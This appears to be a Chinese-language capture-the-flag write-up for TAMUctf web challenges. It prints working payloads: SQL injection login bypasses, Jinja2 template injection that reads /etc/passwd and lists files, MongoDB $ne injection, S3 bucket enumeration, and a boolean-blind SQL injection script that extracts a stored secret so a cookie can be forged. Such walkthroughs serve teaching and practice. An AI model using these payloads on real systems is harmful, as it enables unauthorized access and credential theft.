TAMUctf

Web

Not Another SQLi Challenge

题目链接:http://web1.tamuctf.com/

看题目就知道是sql,payload如下:

1
username=1' or 1=1#&password=1

Robots Rule

题目链接:http://web5.tamuctf.com/

访问robots.txt发现

1
2
3
4
5
User-agent: *

WHAT IS UP, MY FELLOW HUMAN!
HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?!
YOU CAN TELL ME, A FELLOW NOT-A-ROBOT!

谷歌 GOOGLE ROBOTS发现一个叫Googlebot的东西,于是尝试修改user-agent

1
2
3
User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
或者
User-Agent:Googlebot/2.1 (+http://www.google.com/bot.html)

Many Gig’ems to you!

题目链接:http://web7.tamuctf.com/

通过查看源代码跟cookie就可以找到相关的字符串拼接成flag

flag:gigem{flag_in_source_and_cookies}

Science!

题目链接:http://web3.tamuctf.com/

打开题目第一眼就看到flask,于是猜测是flask/jinja2 模板注入,经过测试验证了我的猜想

于是尝试读一下文件,发现成功返回文件内容

1
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

1
2
3
4
5
6
7
8
//访问os模块都是从warnings.catch_warnings模块入手的,访问所有模块得到catch_warnings位置
{{[].__class__.__base__.__subclasses__()}}

//看到linecache,我们要访问的os模块就在这里,用func_global看看该模块有哪些global函数
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

//查看所有文件,看到flag.txt
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].listdir('.')}}

读取flag.txt文件

1
{{ ''.__class__.__mro__[2].__subclasses__()[40]('flag.txt').read() }}

Buckets

题目链接:http://tamuctf.s3-website-us-west-2.amazonaws.com/

进去查看源代码看见

百度大法好,发现了一篇好文,具体细节请观看下面的链接

https://www.freebuf.com/articles/web/135313.html

通过这篇文章我们可以知道,每个S3 bucket都有一个Amazon的URL,格式为bucketname.s3.amazonaws.com

通过修改url为http://tamuctf.s3.amazonaws.com/进行访问,我们可以发现一个名为Dogs/CC2B70BD238F48BE29D8F0D42B170127/CBD2DD691D3DB1EBF96B283BDC8FD9A1/flag.txt的文件

访问即可得到flag

Login App

题目链接:http://web4.tamuctf.com/

打开链接发现是一个登陆框,随便输入发现会返回Login Fail,于是抓包发现,传递参数的形式是json,猜测是MongoDb注入,于是测试一下:

1
{"username":{"$ne":""},"password":{"$ne":""}}

发现成功了,于是使用admin的身份登上去,payload如下:

1
{"username":"admin","password":{"$ne":"1"}}

Bird Box Challenge

1337 Secur1ty

题目链接:http://web6.tamuctf.com/

注册一个账号,登录上去,发现有profiles、messages、employees三个页面,点击messages页面发现可以写信息,于是尝试写个message,但是发现好像发不出去,没有回应,然后查看了一下请求头,发现cookie中有userid和secret两个参数

1
Cookie: userid=3; secret=XXSJ32HPB3GHM5V5

多注册了两个发现userid就是employees页面中的id,于是猜测我们需要用admin的身份登上去才能得到flag,即userid改为1,那么问题来了,secret改成什么呢?我尝试分别访问了

http://web6.tamuctf.com/profile

http://web6.tamuctf.com/message

http://web6.tamuctf.com/employee

发现profile、employee都是404,而message页面不是404,是空白一片,但是在后面加个id参数可以看到我们发出去的message

猜测存在sql注入,经过测试发现存在bool盲注

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

result = ""
for i in range(1,20):
for j in range(32,127):
# database
# payload="http://web6.tamuctf.com/message?id=1'and ascii(substr((select schema_name from information_schema.schemata limit 1,1),"+str(i)+",1))="+str(j)+" and 1='1"
# table
# payload = "http://web6.tamuctf.com/message?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='1337_Secur1ty' limit 1,1),"+str(i)+",1))="+str(j)+" and 1='1"
# column
# payload = "http://web6.tamuctf.com/message?id=1'and ascii(substr((select column_name from information_schema.columns where table_name='Users' limit 9,1),"+str(i)+",1))="+str(j)+" and 1='1"
# secret
payload = "http://web6.tamuctf.com/message?id=1'and ascii(substr((select Secret from Users limit 0,1),"+str(i)+",1))="+str(j)+" and 1='1"
res = requests.get(url=payload).content
if 'Bob' in res:
result += chr(j)
print "result: "+result
break

爆破结果:

database

​ information_schema、1337_Secur1ty

table

​ Messages、Users

column

​ Messages:MessageID、Username、FirstName、CreateDate、MessageTo、Message

​ Users:UserID、Username、Password、FirstName、LastName、Phone、Emai、Description、CreateDate、Secret

Secret

​ WIFHXDZ3BOHJMJSC

抓包修改发包即可get flag